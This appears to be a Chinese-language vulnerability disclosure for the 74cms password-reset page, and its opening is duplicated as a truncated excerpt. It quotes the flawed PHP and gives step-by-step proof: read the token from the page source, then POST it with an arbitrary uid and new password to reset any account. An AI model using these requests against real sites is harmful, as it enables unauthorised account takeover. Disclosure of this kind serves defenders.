### 简要描述: 密码重置机制可以绕过,同时可重置任意账号密码 demo测试成功 ### 详细说明: 先看下 \user\user_getpass.php ``` $act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'enter'; $smarty->assign('header_nav',"getpass"); if ($act=='enter') { $smarty->assign('title','找回密码 - '.$_CFG['site_name']); $token=substr(md5(mt_rand(100000, 999999)), 8,16); //生成token $_SESSION['getpass_token']=$token; //保存到session中 $smarty->assign('token',$token); //通过smarty 显示到前台 我们可以看到 $smarty->display('user/get-pass.htm'); } ``` 我们在看下这个文件下的另一个action ``` elseif($act == "get_pass_save") { global $QS_pwdhash; if(empty($_POST['token']) || $_POST['token']!=$_SESSION['getpass_token']) //这个值上面可以获得得到 这就绕过了 { $link[0]['text'] = "重新找回密码"; $link[0]['href'] = "?act=enter"; showmsg("找回密码失败,非正常链接",0,$link); } $uid=intval($_POST['uid']);//uid可控 遍历uid可重置任意账号密码 $password=$_POST['password']?trim($_POST['password']):showmsg("请输入密码!",1); $userinfo=get_user_inid($uid); if(empty($userinfo)) { $link[0]['text'] = "重新找回密码"; $link[0]['href'] = "?act=enter";...
### 简要描述: 密码重置机制可以绕过,同时可重置任意账号密码 demo测试成功 ### 详细说明: 先看下 \user\user_getpass.php ``` $act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'enter'; $smarty->assign('header_nav',"getpass"); if ($act=='enter') { $smarty->assign('title','找回密码 - '.$_CFG['site_name']); $token=substr(md5(mt_rand(100000, 999999)), 8,16); //生成token $_SESSION['getpass_token']=$token; //保存到session中 $smarty->assign('token',$token); //通过smarty 显示到前台 我们可以看到 $smarty->display('user/get-pass.htm'); } ``` 我们在看下这个文件下的另一个action ``` elseif($act == "get_pass_save") { global $QS_pwdhash; if(empty($_POST['token']) || $_POST['token']!=$_SESSION['getpass_token']) //这个值上面可以获得得到 这就绕过了 { $link[0]['text'] = "重新找回密码"; $link[0]['href'] = "?act=enter"; showmsg("找回密码失败,非正常链接",0,$link); } $uid=intval($_POST['uid']);//uid可控 遍历uid可重置任意账号密码 $password=$_POST['password']?trim($_POST['password']):showmsg("请输入密码!",1); $userinfo=get_user_inid($uid); if(empty($userinfo)) { $link[0]['text'] = "重新找回密码"; $link[0]['href'] = "?act=enter"; showmsg("修改密码失败",0,$link); } $password_hash=md5(md5($password).$userinfo['pwd_hash'].$QS_pwdhash); $setsqlarr['password']=$password_hash; $rst=$db->updatetable(table('members'),$setsqlarr,array("uid"=>$userinfo['uid']));//更改密码 if($rst) { header("Location: ?act=get_pass_sucess"); } else { showmsg("设置新密码失败!",1); } } ``` ### 漏洞证明: 漏洞证明 无需登录 先访问 ``` http://demo.74cms.com/user/user_getpass.php ``` 右键查看源代码 看到toke的值 [<img src="https://images.seebug.org/upload/201508/29104829fa9598aa29ef7c545a0499ac6c96a0fe.png" alt="118.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/29104829fa9598aa29ef7c545a0499ac6c96a0fe.png) 然后利用这个值访问 ``` http://demo.74cms.com/user/user_getpass.php?act=get_pass_save ``` POST提交 token=b6a0859f6f64ed41&uid=2&password=333333 [<img src="https://images.seebug.org/upload/201508/291051049753b42e6cbbb37d39814e9433aee667.png" alt="119.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/291051049753b42e6cbbb37d39814e9433aee667.png) 遍历下uid就可以重置任意账号密码为333333